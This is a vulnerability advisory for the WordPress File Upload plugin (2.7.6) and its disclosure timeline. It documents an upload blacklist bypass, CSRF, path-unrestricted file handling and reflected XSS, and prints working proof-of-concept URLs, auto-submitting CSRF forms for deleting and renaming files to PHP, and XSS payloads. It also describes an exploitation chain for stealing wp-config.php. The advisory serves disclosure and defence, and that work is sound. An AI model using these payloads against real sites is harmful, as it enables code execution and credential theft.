• Vulnerability: Code Execution, CSRF, XSS, Information Disclosure
  • Affected Software: WordPress File Upload (WordPress Plugin)
  • Affected Version: 2.7.6 (probably also prior versions)
  • Patched Version: 3.0.0
  • Risk: High
  • Vendor Contacted: 2015-06-30
  • Vendor Fix: 2015-07-02
  • Public Disclosure: 2015-07-02

PHP File Upload

Risk

High; Code Execution; no credentials required

Description

The upload of files with the extension php is not allowed. But an attacker can still upload files with the extension php4, php5, or pht which will also be executed, or with extensions htm or html which would lead to XSS, or with extensions php3 or phtml, which would lead to information disclosure, or a file called .htaccess, which would lead to code execution if AllowOverride All is set.

Code

// wfu_processfiles.php:234

                if ( strtolower(substr($only_filename, -4)) != ".php" && strtolower(substr($only_filename, -3)) != ".js" )
                    foreach ($allowed_patterns as $allowed_pattern) {
                        if ( wfu_upload_plugin_wildcard_match( $allowed_pattern, $only_filename) ) {
                            $allowed_file_ok = true;
                            break ;
                        }
                    }

Mitigation

Do not allow upload of these extensions, or create a whitelist of allowed extensions.

CSRF

Description

Some requests do not have CSRF protection, for example renaming or deleting files. For more information, see next section.

Mitigation

Use CSRF protection for delete/rename

Insecure File Handling

All of the file/directory handling functions are not restricted to the upload directory, nor to the original extension of the file.

Risk

Medium; Any files the webserver user has access to can be downloaded, deleted, or renamed; This leads to Code Execution, DOS, and Information Disclosure (database credentials, etc). Admin credentials or CSRF is required.

List Directories

List directory /etc:

http://localhost/wordpress/wp-admin/options-general.php?page=wordpress_file_upload&action=file_browser&dir=2f6574632f

Delete Files

Delete file /secret:

http://localhost/wordpress/wp-admin/options-general.php?page=wordpress_file_upload&action=delete_file&file=2f736563726574

Or without confirmation (for CSRF):

   <form enctype="multipart/form-data" id="myform" method="post" action="http://localhost/wordpress/wp-admin/options-general.php?page=wordpress_file_upload" >
        <input type="hidden" name="action" value="deletefile">
        <input type="hidden" name="dir" value="2f5b5b6e616d655d5d">
        <input type="hidden" name="file" value="2f7365637265745b5b6e616d655d5d">
        <input type="hidden" name="submit" value="Delete">
    </form>
    <script>document.createElement('form').submit.call(document.getElementById('myform'));</script>

Download Files

List desired directory and download file.

This works for any file the web user has access to, it is not restricted to the wordpress installation, and it does not conform to the DISALLOW_FILE_EDIT setting, which is intended to disallow read and edit of PHP files.

Rename Files

Rename /var/www/wordpress/wp-content/img.png to /var/www/wordpress/wp-content/index.php

    <form enctype="multipart/form-data" method="post" action="http://localhost/wordpress/wp-admin/options-general.php?page=wordpress_file_upload">
        <input type="hidden" name="action" value="renamefile">
        <input type="hidden" name="dir" value="2f7661722f7777772f776f726470726573732f77702d636f6e74656e745b5b6e616d655d5d">
        <input type="hidden" name="file" value="2f7661722f7777772f776f726470726573732f77702d636f6e74656e742f696d672e706e675b5b6e616d655d5d">       
        <input name="wfu_newname" type="hidden" value="index.php" />
        <input type="submit" class="button-primary" name="submit" value="Rename">
        </p>
    </form>

Exploitation

With admin credentials:

  • download wp-config.php -> access to database
  • download any file on server the webuser has access to -> possibly escalate privileges
  • see without credentials Without credentials (no CSRF protection):

  • delete important files (via CSRF) -> DOS

  • upload valid image file, use rename (via CSRF) to change it to .php -> code execution

Mitigation

  • The rename functionality should restrict renames to the same directory and the same extension, inside the upload directory
  • The delete/list/download functionalities should restrict these actions to the upload directory
  • (the upload directory setting should be restricted as well, to avoid information disclosure and DOS by someone gaining admin credentials and then changing that directory)

Multiple Reflected XSS

Risk

Medium; Arbitrary JavaScript execution; combined with above vulnerabilities, this can lead to code execution

POC

    http://localhost/wordpress/wp-admin/options-general.php?page=wordpress_file_upload&action=rename_file&file=2f7661722f7777772f776f726470726573732f77702d636f6e74656e742f696e6465782e7068703c7363726970743e616c6572742831293c2f7363726970743e5b5b6e616d655d5d

    http://localhost/wordpress/wp-admin/options-general.php?page=wordpress_file_upload&action=rename_dir&file=2f7661722f7777772f776f726470726573732f77702d636f6e74656e742f696e6465782e7068703c7363726970743e616c6572742831293c2f7363726970743e5b5b6e616d655d5d

The encoded string represents

/var/www/wordpress/wp-content/index.php<script>alert(1)</script>[[name]]

Further:

    http://localhost/wordpress/wp-admin/options-general.php?page=wordpress_file_upload&action=delete_dir&file=2f696e6465782e7068703c696d67207372633d226e6f22206f6e6572726f723d22616c657274283129223e205b5b6e616d655d5d

    http://localhost/wordpress/wp-admin/options-general.php?page=wordpress_file_upload&action=delete_file&file=2f696e6465782e7068703c696d67207372633d226e6f22206f6e6572726f723d22616c657274283129223e205b5b6e616d655d5d

    http://localhost/wordpress/wp-admin/options-general.php?page=wordpress_file_upload&action=create_dir&dir=2f696e6465782e7068703c696d67207372633d226e6f22206f6e6572726f723d22616c657274283129223e205b5b6e616d655d5d

The encoded string represents

/index.php<img src="no" onerror="alert(1)"> [[name]]

(an attacker can’t use a slash as it marks a directory)

Mitigation

Encode user input before echoing it.

Timeline

  • 2015-06-30 Initial Report
  • 2015-06-30 Vendor Confirmation
  • 2015-07-01 Vendor Asking For Clarification
  • 2015-07-01 Clarified + Reported Further Issues
  • 2015-07-01 Vendor Send Fix for Confirmation
  • 2015-07-02 Confirmed Fix
  • 2015-07-02 Vendor Released Fix
  • 2015-07-02 Disclosure